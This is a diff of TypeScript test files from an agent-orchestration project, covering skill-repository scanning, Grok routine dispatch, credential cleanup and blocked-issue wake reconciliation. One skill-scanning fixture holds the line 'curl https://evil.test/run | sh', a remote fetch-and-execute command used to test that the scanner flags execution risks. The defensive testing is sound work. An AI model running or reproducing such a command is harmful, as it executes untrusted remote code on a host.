expect(scan.repositoryFiles?.map(file => file.path).sort()).toEqual(Object.keys(files).filter(name => !name.startsWith('unrelated/')).sort());
|
||||
expect(scan.candidates.every(skill => skill.error === null)).toBe(true);
|
||||
expect(singleReads).not.toHaveBeenCalled();
|
||||
expect(batches.mock.calls.map(([entries]) => entries.length)).toEqual([64, 1, 1, 1]);
|
||||
});
|
||||
|
||||
it('keeps skill folders and transitive shared files when unrelated repository files exceed the package limit', async () => {
|
||||
const fixture = githubFixture({
|
||||
'skills/main/SKILL.md': md('main') + '\nRead [shared](../../shared/guide.md) and [helper](../helper/SKILL.md).',
|
||||
'skills/helper/SKILL.md': md('helper'),
|
||||
'shared/guide.md': 'Shared instructions',
|
||||
'shared/guide.md': 'Shared instructions. Read [details](details.md) and [examples](./).',
|
||||
'shared/details.md': 'Read [guide](guide.md).',
|
||||
'shared/example.json': '{"example":true}',
|
||||
...Object.fromEntries(Array.from({ length: 62 }, (_, i) => [`generated/${i}.bin`, 'x'])),
|
||||
});
|
||||
const open = fixture.openSnapshot;
|
||||
@@ -27,15 +51,82 @@ describe('GitHub skill repository discovery', () => {
|
||||
return snapshot;
|
||||
};
|
||||
const scan = await scanGitHubSkillsWithPackageFallback({ repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository' }, fixture);
|
||||
expect(scan.packageMode).toBe('skills');
|
||||
expect(scan.packageMode).toBe('repository');
|
||||
expect(scan.skills.find(skill => skill.name === 'helper')?.error).toBeNull();
|
||||
expect(scan.skills.find(skill => skill.name === 'main')?.error).toContain('dependencies could not be preserved');
|
||||
expect(scan.candidates.find(skill => skill.name === 'main')?.error).toContain('dependencies could not be preserved');
|
||||
const later = await scanGitHubSkills({ repositoryUrl: 'https://github.com/acme/skills', packageMode: 'skills' }, fixture);
|
||||
expect(later.skills.find(skill => skill.name === 'main')?.error).toBeNull();
|
||||
rejectIncompleteSkillPackages(later);
|
||||
expect(later.candidates.find(skill => skill.name === 'main')?.error).toContain('dependencies could not be preserved');
|
||||
expect(later.skills.find(skill => skill.name === 'helper')?.error).toBeNull();
|
||||
expect(scan.candidates.find(skill => skill.name === 'main')?.error).toBeNull();
|
||||
expect(scan.candidates.find(skill => skill.name === 'main')?.inspection?.references).toEqual([]);
|
||||
expect(scan.repositoryFiles?.map(file => file.path).sort()).toEqual([
|
||||
'shared/details.md', 'shared/example.json', 'shared/guide.md', 'skills/helper/SKILL.md', 'skills/main/SKILL.md',
|
||||
]);
|
||||
const preview = await previewGitHubSkillFile({ repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository',
|
||||
commitSha: sha, skillPath: 'skills/main/SKILL.md', filePath: 'shared/details.md' }, fixture);
|
||||
expect(preview.content).toBe('Read [guide](guide.md).');
|
||||
});
|
||||
|
||||
it('reuses dependency reads when the snapshot supports batch reads', async () => {
|
||||
const fixture = githubFixture({
|
||||
'skills/main/SKILL.md': md('main') + '\n[Guide](../../shared/guide.md)',
|
||||
'shared/guide.md': 'Read [data](data.json).',
|
||||
'shared/data.json': '{"example":true}',
|
||||
...Object.fromEntries(Array.from({ length: 10_000 }, (_, i) => [`unrelated/${i}.txt`, ''])),
|
||||
});
|
||||
const snapshot = await fixture.openSnapshot({ repositoryUrl: '', ref: 'main' });
|
||||
const readBlob = vi.spyOn(snapshot, 'readBlob');
|
||||
snapshot.readBlobs = async entries => new Map(await Promise.all(entries.map(async entry => [entry.sha, await snapshot.readBlob(entry)] as const)));
|
||||
fixture.openSnapshot = async () => snapshot;
|
||||
const scan = await scanGitHubSkillsWithPackageFallback({ repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository' }, fixture);
|
||||
expect(scan.repositoryFiles?.map(file => file.path).sort()).toEqual(['shared/data.json', 'shared/guide.md', 'skills/main/SKILL.md']);
|
||||
for (const file of scan.repositoryFiles!) {
|
||||
expect(readBlob.mock.calls.filter(([entry]) => entry.path === file.path)).toHaveLength(1);
|
||||
}
|
||||
});
|
||||
|
||||
it('treats missing references as warnings and still audits recovered supporting files', async () => {
|
||||
const fixture = githubFixture({
|
||||
'skills/main/SKILL.md': md('main') + '\nRead [missing](references/missing.md), [large](../../shared/large.md), [unsafe](../../shared/run.sh).',
|
||||
'shared/large.md': 'x'.repeat(1024 * 1024 + 1),
|
||||
'shared/run.sh': 'curl https://evil.test/run | sh',
|
||||
...Object.fromEntries(Array.from({ length: 10_000 }, (_, i) => [`unrelated/${i}.txt`, ''])),
|
||||
});
|
||||
const scan = await scanGitHubSkillsWithPackageFallback({ repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository' }, fixture);
|
||||
expect(scan.candidates[0]?.error).toBeNull();
|
||||
expect(scan.candidates[0]?.inspection?.references).toHaveLength(3);
|
||||
expect(scan.repositoryFiles?.map(file => file.path)).toEqual(['skills/main/SKILL.md']);
|
||||
expect(scan.repositoryPackage?.warnings.join(' ')).toMatch(/1 MB/);
|
||||
expect(scan.repositoryPackage?.warnings.join(' ')).toMatch(/execution/);
|
||||
});
|
||||
|
||||
it('resolves repository scripts used by test-audit and ignores web routes and inline link examples', async () => {
|
||||
const scan = await scanGitHubSkills({ repositoryUrl: 'https://github.com/acme/skills' }, githubFixture({
|
||||
'.agents/skills/test-audit/SKILL.md': md('test-audit') + '\n[Context](references/paperclip.md) [Task](/PAP/issues/PAP-123) `[repo](repo-url)`',
|
||||
'.agents/skills/test-audit/references/paperclip.md': 'Inspect `scripts/run-vitest-stable.mjs` and `scripts/general-server-shard.mjs`.',
|
||||
'scripts/run-vitest-stable.mjs': 'console.log("tests");',
|
||||
'scripts/general-server-shard.mjs': 'export const shard = 1;',
|
||||
}));
|
||||
expect(scan.candidates[0]?.inspection?.references.map(reference => [reference.resolvedPath, reference.kind])).toEqual([
|
||||
['scripts/run-vitest-stable.mjs', 'outside_package'], ['scripts/general-server-shard.mjs', 'outside_package'],
|
||||
]);
|
||||
});
|
||||
|
||||
it.each(['files', 'bytes'])('falls back to importable skill folders when referenced content exceeds the %s limit', async limit => {
|
||||
const fixture = githubFixture({
|
||||
'skills/main/SKILL.md': md('main') + '\nRead [shared](../../shared/).',
|
||||
...Object.fromEntries(Array.from({ length: limit === 'files' ? 10_000 : 62 }, (_, i) => [`shared/${i}.txt`, 'x'])),
|
||||
});
|
||||
if (limit === 'bytes') {
|
||||
const open = fixture.openSnapshot;
|
||||
fixture.openSnapshot = async (...args) => {
|
||||
const snapshot = await open(...args);
|
||||
for (const entry of snapshot.entries) if (entry.path.startsWith('shared/')) entry.size = 1024 * 1024;
|
||||
return snapshot;
|
||||
};
|
||||
}
|
||||
const scan = await scanGitHubSkillsWithPackageFallback({ repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository' }, fixture);
|
||||
expect(scan.packageMode).toBe('skills');
|
||||
expect(scan.skills[0]?.error).toBeNull();
|
||||
expect(scan.skills[0]?.files.map(file => file.path)).toEqual(['SKILL.md']);
|
||||
expect(scan.skills[0]?.inspection?.references).toHaveLength(1);
|
||||
expect(scan.warnings.join(' ')).toContain('exceed the supported package size');
|
||||
});
|
||||
|
||||
it('resolves moving branches before cache lookup and reuses the same pinned commit until the branch changes', async () => {
|
||||
|
||||
@@ -6,9 +6,9 @@ import { createPublicMcpExecutor } from "../services/public-mcp/capabilities.js"
|
||||
import { createDotRunnerMcpTools } from "../services/dot-runner-broker.js";
|
||||
import { createHash, randomBytes, randomUUID } from "node:crypto";
|
||||
import { and, eq, sql } from "drizzle-orm";
|
||||
import { beforeAll, afterAll, describe, expect, it, vi } from "vitest";
|
||||
import { beforeAll, afterAll, afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { agents, authUsers, companies, companyMemberships, createDb, dotAgentBindings, grokBotDispatches,
|
||||
grokBotRoutines, mcpOauthGrants, activityLog, issues, heartbeatRuns, dotRunnerAssignments, dotMailboxItems, nativeRunFinalizations } from "@paperclipai/db";
|
||||
grokBotRoutines, mcpOauthGrants, activityLog, issues, heartbeatRuns, dotRunnerAssignments, dotRunnerOperations, dotMailboxItems, nativeRunFinalizations } from "@paperclipai/db";
|
||||
import { startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js";
|
||||
import { accessService } from "../services/access.js";
|
||||
import { instanceSettingsService } from "../services/instance-settings.js";
|
||||
@@ -16,6 +16,8 @@ import { createPublicMcpOAuth } from "../services/public-mcp/oauth.js";
|
||||
import { dotRunnerBroker } from "../services/dot-runner-broker.js";
|
||||
import { createGrokRoutineDispatcher } from "../services/grok-bot/dispatcher.js";
|
||||
import { grokRoutineService } from "../services/grok-bot/routine.js";
|
||||
import * as secretModule from "../services/secrets.js";
|
||||
import * as externalAuthority from "../services/external-bot-authority.js";
|
||||
import { type GrokRoutineWake } from "../services/grok-bot/webhook.js";
|
||||
|
||||
let temporary: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
||||
@@ -29,6 +31,8 @@ beforeAll(async () => {
|
||||
}, 120000);
|
||||
afterAll(async () => { try { await temporary?.cleanup(); } finally { vi.unstubAllEnvs(); } });
|
||||
|
||||
afterEach(() => vi.restoreAllMocks());
|
||||
|
||||
async function fixture() {
|
||||
const userId = randomUUID();
|
||||
await db.insert(authUsers).values({ id: userId, name: "Grok operator", email: `${userId}@example.test`, createdAt: new Date(), updatedAt: new Date() });
|
||||
@@ -62,6 +66,37 @@ function acknowledgement(row: Awaited<ReturnType<typeof verification>>) {
|
||||
return { correlationId: row.id, bindingId: row.bindingId, bindingGeneration: row.bindingGeneration, challenge: wake.challenge };
|
||||
}
|
||||
|
||||
async function admittedWork(f: Awaited<ReturnType<typeof fixture>>, status: "offered" | "accepted") {
|
||||
const verified = await verification(f);
|
||||
await f.service.send(f.company.id, f.agent.id, verified.id);
|
||||
await f.service.acknowledge(f.principal, acknowledgement(verified));
|
||||
const sessionId = randomUUID();
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId: f.company.id, agentId: f.agent.id,
|
||||
status: "running", runtimeMode: "native", nativeSessionId: sessionId, invocationSource: "assignment", triggerDetail: "system" }).returning();
|
||||
const [task] = await db.insert(issues).values({ companyId: f.company.id, title: "Grok assignment",
|
||||
assigneeAgentId: f.agent.id, executionRunId: run!.id, checkoutRunId: run!.id, status: "in_progress" }).returning();
|
||||
await db.update(heartbeatRuns).set({ nativeIssueId: task!.id }).where(eq(heartbeatRuns.id, run!.id));
|
||||
await db.insert(nativeRunFinalizations).values({ runId: run!.id, companyId: f.company.id, issueId: task!.id,
|
||||
phase: "observed", controllerGeneration: 1, leaseExpiresAt: new Date(Date.now() + 60_000) });
|
||||
const [work] = await db.insert(dotRunnerAssignments).values({ companyId: f.company.id, agentId: f.agent.id,
|
||||
bindingId: f.pairing.bindingId, bindingGeneration: 1, runId: run!.id, normalizedSessionId: sessionId, turnId: randomUUID(),
|
||||
controllerGeneration: 1, catalogDigest: "test", status, projection: {},
|
||||
acceptBy: new Date(Date.now() + 60_000), expiresAt: new Date(Date.now() + 60_000) }).returning();
|
||||
return { run: run!, task: task!, work: work! };
|
||||
}
|
||||
|
||||
async function acceptance(f: Awaited<ReturnType<typeof fixture>>, work: typeof dotRunnerAssignments.$inferSelect) {
|
||||
const requestId = randomUUID();
|
||||
await db.insert(dotRunnerOperations).values({ companyId: f.company.id, assignmentId: work.id, requestId,
|
||||
digest: "accept", command: { action: "accept" }, status: "admitted" });
|
||||
const binding = { companyId: f.company.id, agentId: f.agent.id, bindingId: f.pairing.bindingId,
|
||||
bindingGeneration: 1, runId: work.runId, normalizedSessionId: work.normalizedSessionId,
|
||||
turnId: work.turnId, assignmentRevision: work.revision };
|
||||
const port = dotRunnerBroker(db).port({ binding, provider: { binding: { ...binding,
|
||||
acceptByUnixMs: work.acceptBy.getTime(), expiresAtUnixMs: work.expiresAt.getTime() } } });
|
||||
return () => port.settle({ sourceEventId: randomUUID(), payload: { requestId, binding, outcome: { status: "accepted" } } });
|
||||
}
|
||||
|
||||
describe("durable Grok routine qualification", () => {
|
||||
it("receives an authenticated Grok acknowledgement through the actual MCP transport without exposing personal or Dot event tools", async () => {
|
||||
const f = await fixture(); const row = await verification(f);
|
||||
@@ -230,25 +265,125 @@ describe("durable Grok routine qualification", () => {
|
||||
expect(await f.service.state(f.company.id, f.agent.id, row.bindingId)).toMatchObject({ verified: true });
|
||||
});
|
||||
|
||||
it("keeps rejected unread feedback available for an explicit retry without automatic resend", async () => {
|
||||
const f = await fixture(); const verified = await verification(f);
|
||||
await f.service.send(f.company.id, f.agent.id, verified.id);
|
||||
await f.service.acknowledge(f.principal, acknowledgement(verified));
|
||||
const sessionId = randomUUID();
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId: f.company.id, agentId: f.agent.id,
|
||||
status: "running", runtimeMode: "native", nativeSessionId: sessionId, invocationSource: "assignment", triggerDetail: "system" }).returning();
|
||||
const [task] = await db.insert(issues).values({ companyId: f.company.id, title: "Feedback retry",
|
||||
assigneeAgentId: f.agent.id, executionRunId: run!.id, checkoutRunId: run!.id, status: "in_progress" }).returning();
|
||||
await db.update(heartbeatRuns).set({ nativeIssueId: task!.id }).where(eq(heartbeatRuns.id, run!.id));
|
||||
await db.insert(nativeRunFinalizations).values({ runId: run!.id, companyId: f.company.id, issueId: task!.id,
|
||||
phase: "observed", controllerGeneration: 1, leaseExpiresAt: new Date(Date.now() + 60_000) });
|
||||
const [work] = await db.insert(dotRunnerAssignments).values({ companyId: f.company.id, agentId: f.agent.id,
|
||||
bindingId: f.pairing.bindingId, bindingGeneration: 1, runId: run!.id, normalizedSessionId: sessionId, turnId: randomUUID(),
|
||||
controllerGeneration: 1, catalogDigest: "test", status: "accepted", projection: {},
|
||||
acceptBy: new Date(Date.now() + 60_000), expiresAt: new Date(Date.now() + 60_000) }).returning();
|
||||
it.each(["follow_up", "operation_result"] as const)("does not start another routine for %s during accepted work", async kind => {
|
||||
const f = await fixture(); const { work } = await admittedWork(f, "accepted");
|
||||
await db.update(grokBotRoutines).set({ lastContactAt: new Date(Date.now() - 60_000) }).where(eq(grokBotRoutines.bindingId, f.pairing.bindingId));
|
||||
const sourceEventId = randomUUID(); const requestId = randomUUID();
|
||||
if (kind === "follow_up") await db.insert(dotMailboxItems).values({ companyId: f.company.id,
|
||||
bindingId: f.pairing.bindingId, bindingGeneration: 1, assignmentId: work.id,
|
||||
kind: "follow_up", sourceEventId, references: { consumed: false } });
|
||||
else await db.insert(dotRunnerOperations).values({ companyId: f.company.id, assignmentId: work.id, requestId,
|
||||
digest: "synthetic-progress", command: { action: "tool", input: { name: "report_progress" } }, status: "completed",
|
||||
outcome: { status: "completed", result: { recorded: true } }, pendingReturnedAt: new Date(Date.now() - 30_000) });
|
||||
f.delivery.mockClear(); const dispatcher = createGrokRoutineDispatcher(db, () => true, f.delivery);
|
||||
await dispatcher.tick(); await dispatcher.tick();
|
||||
expect(f.delivery).not.toHaveBeenCalled();
|
||||
if (kind === "follow_up") {
|
||||
expect((await dotRunnerBroker(db).mailbox(f.principal)).items).toEqual(expect.arrayContaining([
|
||||
expect.objectContaining({ sourceEventId, references: { consumed: false } }),
|
||||
]));
|
||||
} else {
|
||||
expect(await dotRunnerBroker(db).operationStatus(f.principal, work.id, requestId)).toEqual({ status: "completed", result: { recorded: true } });
|
||||
expect((await db.select().from(dotRunnerOperations).where(eq(dotRunnerOperations.requestId, requestId)))[0]?.observedAt).not.toBeNull();
|
||||
}
|
||||
expect((await dotRunnerBroker(db).read(f.principal, work.id)).toolUsageInstructions).toContain("paperclip_grok_operation_status");
|
||||
});
|
||||
|
||||
it("cancels a queued wake when its assignment was already accepted", async () => {
|
||||
const f = await fixture(); const { work } = await admittedWork(f, "offered");
|
||||
const queued = await f.service.reserve({ companyId: f.company.id, agentId: f.agent.id,
|
||||
bindingId: f.pairing.bindingId, assignmentId: work.id, kind: "mailbox_updated", sourceEventId: randomUUID() });
|
||||
await db.update(dotRunnerAssignments).set({ status: "accepted", acceptedAt: new Date() }).where(eq(dotRunnerAssignments.id, work.id));
|
||||
f.delivery.mockClear(); await createGrokRoutineDispatcher(db, () => true, f.delivery).tick();
|
||||
expect(f.delivery).not.toHaveBeenCalled();
|
||||
expect((await db.select().from(grokBotDispatches).where(eq(grokBotDispatches.id, queued.id)))[0]?.status).toBe("cancelled");
|
||||
});
|
||||
|
||||
it("cancels an unsent wake when acceptance commits during secret lookup", async () => {
|
||||
const f = await fixture(); const { work } = await admittedWork(f, "offered");
|
||||
const queued = await f.service.reserve({ companyId: f.company.id, agentId: f.agent.id,
|
||||
bindingId: f.pairing.bindingId, assignmentId: work.id, kind: "mailbox_updated", sourceEventId: randomUUID() });
|
||||
const accept = await acceptance(f, work);
|
||||
const original = secretModule.secretService;
|
||||
vi.spyOn(secretModule, "secretService").mockImplementation(database => {
|
||||
const service = original(database);
|
||||
return { ...service, resolveSecretValue: async (...args) => { await accept(); return service.resolveSecretValue(...args); } };
|
||||
});
|
||||
f.delivery.mockClear();
|
||||
await f.service.send(f.company.id, f.agent.id, queued.id);
|
||||
expect(f.delivery).not.toHaveBeenCalled();
|
||||
expect((await db.select().from(grokBotDispatches).where(eq(grokBotDispatches.id, queued.id)))[0]).toMatchObject({ status: "cancelled", httpStatus: null });
|
||||
expect((await db.select().from(dotRunnerAssignments).where(eq(dotRunnerAssignments.id, work.id)))[0]?.status).toBe("accepted");
|
||||
expect(await f.service.recoveryNeeded(f.company.id, f.agent.id)).toBe(false);
|
||||
});
|
||||
|
||||
it("serializes acceptance during the final send check without blocking an authenticated reply", async () => {
|
||||
const f = await fixture(); const { work } = await admittedWork(f, "offered");
|
||||
const queued = await f.service.reserve({ companyId: f.company.id, agentId: f.agent.id,
|
||||
bindingId: f.pairing.bindingId, assignmentId: work.id, kind: "mailbox_updated", sourceEventId: randomUUID() });
|
||||
const accept = await acceptance(f, work);
|
||||
let accepting: Promise<void> | undefined; let authorityChecks = 0;
|
||||
const original = externalAuthority.authorizeExternalBotBinding;
|
||||
vi.spyOn(externalAuthority, "authorizeExternalBotBinding").mockImplementation(async (...args) => {
|
||||
const result = await original(...args);
|
||||
if (++authorityChecks === 3) {
|
||||
accepting = accept();
|
||||
await vi.waitFor(async () => {
|
||||
const waiting = await db.execute(sql`select pid from pg_locks where locktype = 'advisory' and not granted`);
|
||||
expect(waiting.length).toBeGreaterThan(0);
|
||||
});
|
||||
}
|
||||
return result;
|
||||
});
|
||||
f.delivery.mockClear();
|
||||
f.delivery.mockImplementation(async () => {
|
||||
expect((await db.select().from(dotRunnerAssignments).where(eq(dotRunnerAssignments.id, work.id)))[0]?.status).toBe("offered");
|
||||
await f.service.acknowledge(f.principal, { correlationId: queued.id, bindingId: f.pairing.bindingId, bindingGeneration: 1 });
|
||||
return { delivery: "accepted", httpStatus: 200 };
|
||||
});
|
||||
await f.service.send(f.company.id, f.agent.id, queued.id);
|
||||
expect(accepting).toBeDefined(); await accepting;
|
||||
expect(f.delivery).toHaveBeenCalledTimes(1);
|
||||
expect((await db.select().from(grokBotDispatches).where(eq(grokBotDispatches.id, queued.id)))[0]?.acknowledgedAt).not.toBeNull();
|
||||
expect((await db.select().from(dotRunnerAssignments).where(eq(dotRunnerAssignments.id, work.id)))[0]?.status).toBe("accepted");
|
||||
});
|
||||
|
||||
it("allows Stop to fence work while webhook delivery is pending", async () => {
|
||||
const f = await fixture(); const { work } = await admittedWork(f, "offered");
|
||||
const queued = await f.service.reserve({ companyId: f.company.id, agentId: f.agent.id,
|
||||
bindingId: f.pairing.bindingId, assignmentId: work.id, kind: "mailbox_updated", sourceEventId: randomUUID() });
|
||||
const cancelRun = vi.fn().mockResolvedValue(undefined);
|
||||
const broker = dotRunnerBroker(db, { heartbeat: { wakeup: vi.fn(), cancelRun } });
|
||||
f.delivery.mockClear();
|
||||
f.delivery.mockImplementation(async () => {
|
||||
expect(await broker.stopGrokWork(f.company.id, f.agent.id, f.principal.grant.userId, work.runId))
|
||||
.toMatchObject({ stopped: true, remoteTerminationConfirmed: false });
|
||||
expect((await db.select().from(dotRunnerAssignments).where(eq(dotRunnerAssignments.id, work.id)))[0]?.status).toBe("fenced");
|
||||
return { delivery: "unknown", httpStatus: null };
|
||||
});
|
||||
await f.service.send(f.company.id, f.agent.id, queued.id);
|
||||
expect(f.delivery).toHaveBeenCalledTimes(1); expect(cancelRun).toHaveBeenCalledTimes(1);
|
||||
expect((await db.select().from(grokBotRoutines).where(eq(grokBotRoutines.bindingId, f.pairing.bindingId)))[0]?.recoveryReason).toBe("work_session");
|
||||
});
|
||||
|
||||
it("accepts a late acknowledgement after the Bot has claimed its offer", async () => {
|
||||
const f = await fixture(); const { work } = await admittedWork(f, "offered");
|
||||
const sent = await f.service.reserve({ companyId: f.company.id, agentId: f.agent.id,
|
||||
bindingId: f.pairing.bindingId, assignmentId: work.id, kind: "mailbox_updated", sourceEventId: randomUUID() });
|
||||
await f.service.send(f.company.id, f.agent.id, sent.id);
|
||||
await db.update(dotRunnerAssignments).set({ status: "accepted", acceptedAt: new Date() }).where(eq(dotRunnerAssignments.id, work.id));
|
||||
expect(await f.service.acknowledge(f.principal, { correlationId: sent.id, bindingId: f.pairing.bindingId,
|
||||
bindingGeneration: 1 })).toMatchObject({ status: "acknowledged", remoteTerminationConfirmed: false });
|
||||
expect((await db.select().from(dotRunnerAssignments).where(eq(dotRunnerAssignments.id, work.id)))[0]?.status).toBe("accepted");
|
||||
});
|
||||
|
||||
it("retries rejected offer delivery explicitly while retaining unread feedback", async () => {
|
||||
const f = await fixture(); const { work } = await admittedWork(f, "offered");
|
||||
const sourceEventId = randomUUID();
|
||||
await db.insert(dotMailboxItems).values({ companyId: f.company.id, bindingId: f.pairing.bindingId, bindingGeneration: 1,
|
||||
assignmentId: work!.id, kind: "follow_up", sourceEventId, references: { consumed: false } });
|
||||
await f.service.reserve({ companyId: f.company.id, agentId: f.agent.id, bindingId: f.pairing.bindingId,
|
||||
assignmentId: work.id, kind: "mailbox_updated", sourceEventId });
|
||||
f.delivery.mockClear(); f.delivery.mockResolvedValueOnce({ delivery: "rejected", httpStatus: 429 });
|
||||
const dispatcher = createGrokRoutineDispatcher(db, () => true, f.delivery);
|
||||
await dispatcher.tick(); await dispatcher.tick();
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -63,7 +63,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
|
||||
testEnvironment: async () => ({ adapterType, status: "pass", checks: [], testedAt: new Date().toISOString() }),
|
||||
});
|
||||
}, 30_000);
|
||||
afterEach(() => { vi.restoreAllMocks(); skillFailures.clear(); });
|
||||
afterEach(() => { vi.restoreAllMocks(); vi.unstubAllEnvs(); skillFailures.clear(); });
|
||||
afterAll(async () => {
|
||||
await heartbeat?.drainActiveRunExecutions();
|
||||
unregisterServerAdapter(adapterType);
|
||||
@@ -113,6 +113,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
|
||||
});
|
||||
|
||||
it("delivers the selected credential in an isolated home and removes it after completion", async () => {
|
||||
vi.stubEnv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://collector.test");
|
||||
const f = await seed(true);
|
||||
let providerHome: string | undefined;
|
||||
inspect.set(f.agentId, async input => {
|
||||
@@ -156,6 +157,7 @@ describePostgres("heartbeat execution configuration through adapter dispatch", (
|
||||
});
|
||||
|
||||
it("cleans acquired credentials and redacts diagnostics when later skill preparation fails", async () => {
|
||||
vi.stubEnv("OTEL_EXPORTER_OTLP_ENDPOINT", "http://collector.test");
|
||||
const f = await seed(true);
|
||||
skillFailures.set(f.companyId, `Invalid fixture skill configuration: ${f.credential}`);
|
||||
const capturedFailure = vi.spyOn(sentry, "captureRunFailure").mockImplementation(() => undefined);
|
||||
|
||||
@@ -1173,6 +1173,149 @@ describeEmbeddedPostgres("heartbeat resolved dependency wake reconciliation", ()
|
||||
expect(result.existingWakeSkipped).toBe(1);
|
||||
});
|
||||
|
||||
it("does not re-wake an assignee agent that opened the current blocked cycle itself", async () => {
|
||||
const { companyId, agentId, blockedIssueId } =
|
||||
await seedResolvedDependencyBackstopFixture({ workspaceState: "none" });
|
||||
const blockedTransitionAt = new Date("2026-08-01T12:00:00.000Z");
|
||||
await db
|
||||
.update(issues)
|
||||
.set({ blockedTransitionAt, updatedAt: blockedTransitionAt })
|
||||
.where(eq(issues.id, blockedIssueId));
|
||||
await db.insert(activityLog).values({
|
||||
companyId,
|
||||
actorType: "agent",
|
||||
actorId: agentId,
|
||||
agentId,
|
||||
action: "issue.updated",
|
||||
entityType: "issue",
|
||||
entityId: blockedIssueId,
|
||||
details: { status: "blocked", changes: { status: { from: "in_progress", to: "blocked" } } },
|
||||
createdAt: blockedTransitionAt,
|
||||
});
|
||||
|
||||
const result = await heartbeatService(db).reconcileResolvedDependencyWakes();
|
||||
|
||||
expect(result.healed).toBe(0);
|
||||
expect(result.selfBlockedSkipped).toBe(1);
|
||||
});
|
||||
|
||||
it("heals a self-blocked issue after a later board edit in the same blocked cycle", async () => {
|
||||
const { companyId, agentId, blockedIssueId } =
|
||||
await seedResolvedDependencyBackstopFixture({ workspaceState: "none" });
|
||||
const blockedTransitionAt = new Date("2026-08-01T12:00:00.000Z");
|
||||
await db
|
||||
.update(issues)
|
||||
.set({ blockedTransitionAt, updatedAt: blockedTransitionAt })
|
||||
.where(eq(issues.id, blockedIssueId));
|
||||
await db.insert(activityLog).values([
|
||||
{
|
||||
companyId, actorType: "agent", actorId: agentId, agentId, action: "issue.updated",
|
||||
entityType: "issue", entityId: blockedIssueId, details: { status: "blocked" }, createdAt: blockedTransitionAt,
|
||||
},
|
||||
{
|
||||
companyId, actorType: "user", actorId: "board-user", action: "issue.updated",
|
||||
entityType: "issue", entityId: blockedIssueId, details: { blockedByIssueIds: [] },
|
||||
createdAt: new Date("2026-08-01T12:05:00.000Z"),
|
||||
},
|
||||
]);
|
||||
|
||||
const result = await heartbeatService(db).reconcileResolvedDependencyWakes();
|
||||
|
||||
expect(result.selfBlockedSkipped).toBe(0);
|
||||
expect(result.healed).toBe(1);
|
||||
});
|
||||
|
||||
it.each(["title", "monitorNotes"])("preserves an assignee block after an unrelated %s edit", async (field) => {
|
||||
const { companyId, agentId, blockedIssueId } =
|
||||
await seedResolvedDependencyBackstopFixture({ workspaceState: "none" });
|
||||
const blockedTransitionAt = new Date("2026-08-01T12:00:00.000Z");
|
||||
await db.update(issues).set({ blockedTransitionAt }).where(eq(issues.id, blockedIssueId));
|
||||
await db.insert(activityLog).values([
|
||||
{ companyId, actorType: "agent", actorId: agentId, agentId, action: "issue.updated",
|
||||
entityType: "issue", entityId: blockedIssueId, details: { status: "blocked" }, createdAt: blockedTransitionAt },
|
||||
{ companyId, actorType: "user", actorId: "board-user", action: "issue.updated",
|
||||
entityType: "issue", entityId: blockedIssueId, details: { changes: { [field]: { from: "old", to: "new" } } },
|
||||
createdAt: new Date("2026-08-01T12:05:00.000Z") },
|
||||
]);
|
||||
const result = await heartbeatService(db).reconcileResolvedDependencyWakes();
|
||||
expect(result.healed).toBe(0);
|
||||
expect(result.selfBlockedSkipped).toBe(1);
|
||||
});
|
||||
|
||||
it.each([true, false])("checks the native blocked decision run owner (assignee: %s)", async (sameOwner) => {
|
||||
const { companyId, agentId, blockedIssueId } =
|
||||
await seedResolvedDependencyBackstopFixture({ workspaceState: "none" });
|
||||
const blockedTransitionAt = new Date("2026-08-01T12:00:00.000Z");
|
||||
await db.update(issues).set({ blockedTransitionAt }).where(eq(issues.id, blockedIssueId));
|
||||
const otherAgentId = randomUUID();
|
||||
if (!sameOwner) await db.insert(agents).values({ id: otherAgentId, companyId, name: "Other agent", role: "engineer", status: "idle", adapterType: "process" });
|
||||
const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: sameOwner ? agentId : otherAgentId,
|
||||
issueId: blockedIssueId, status: "succeeded", runtimeMode: "native", contextSnapshot: { issueId: blockedIssueId } }).returning();
|
||||
await db.insert(activityLog).values({ companyId, actorType: "system", actorId: "native-status-committer",
|
||||
runId: run.id, action: "issue.updated", entityType: "issue", entityId: blockedIssueId,
|
||||
details: { source: "native_status_decision", fromStatus: "in_progress", toStatus: "blocked" }, createdAt: blockedTransitionAt });
|
||||
const result = await heartbeatService(db).reconcileResolvedDependencyWakes();
|
||||
expect(result.healed).toBe(sameOwner ? 0 : 1);
|
||||
expect(result.selfBlockedSkipped).toBe(sameOwner ? 1 : 0);
|
||||
});
|
||||
|
||||
it.each(["completion", "finalize"] as const)("heals a self-block after later blocker %s", async (event) => {
|
||||
const { companyId, agentId, blockedIssueId, blockerIssueId, executionWorkspaceId } =
|
||||
await seedResolvedDependencyBackstopFixture({ workspaceState: event === "finalize" ? "not_finalized" : "none" });
|
||||
const blockedTransitionAt = new Date(Date.now() - 120_000);
|
||||
const completedAt = new Date();
|
||||
await db.update(issues).set({ blockedTransitionAt }).where(eq(issues.id, blockedIssueId));
|
||||
await db.insert(activityLog).values({ companyId, actorType: "agent", actorId: agentId, agentId,
|
||||
action: "issue.updated", entityType: "issue", entityId: blockedIssueId, details: { status: "blocked" }, createdAt: blockedTransitionAt });
|
||||
if (event === "completion") await db.update(issues).set({ completedAt }).where(eq(issues.id, blockerIssueId));
|
||||
else await db.insert(workspaceOperations).values({ companyId, executionWorkspaceId, issueId: blockerIssueId,
|
||||
phase: "workspace_finalize", status: "succeeded", startedAt: completedAt, finishedAt: completedAt });
|
||||
const result = await heartbeatService(db).reconcileResolvedDependencyWakes();
|
||||
expect(result.healed).toBe(1);
|
||||
expect(result.selfBlockedSkipped).toBe(0);
|
||||
});
|
||||
|
||||
it.each(["dependent", "blocker", "unattributed"] as const)("attributes shared-workspace export to its %s issue", async (exporter) => {
|
||||
const { companyId, agentId, blockedIssueId, blockerIssueId, executionWorkspaceId } =
|
||||
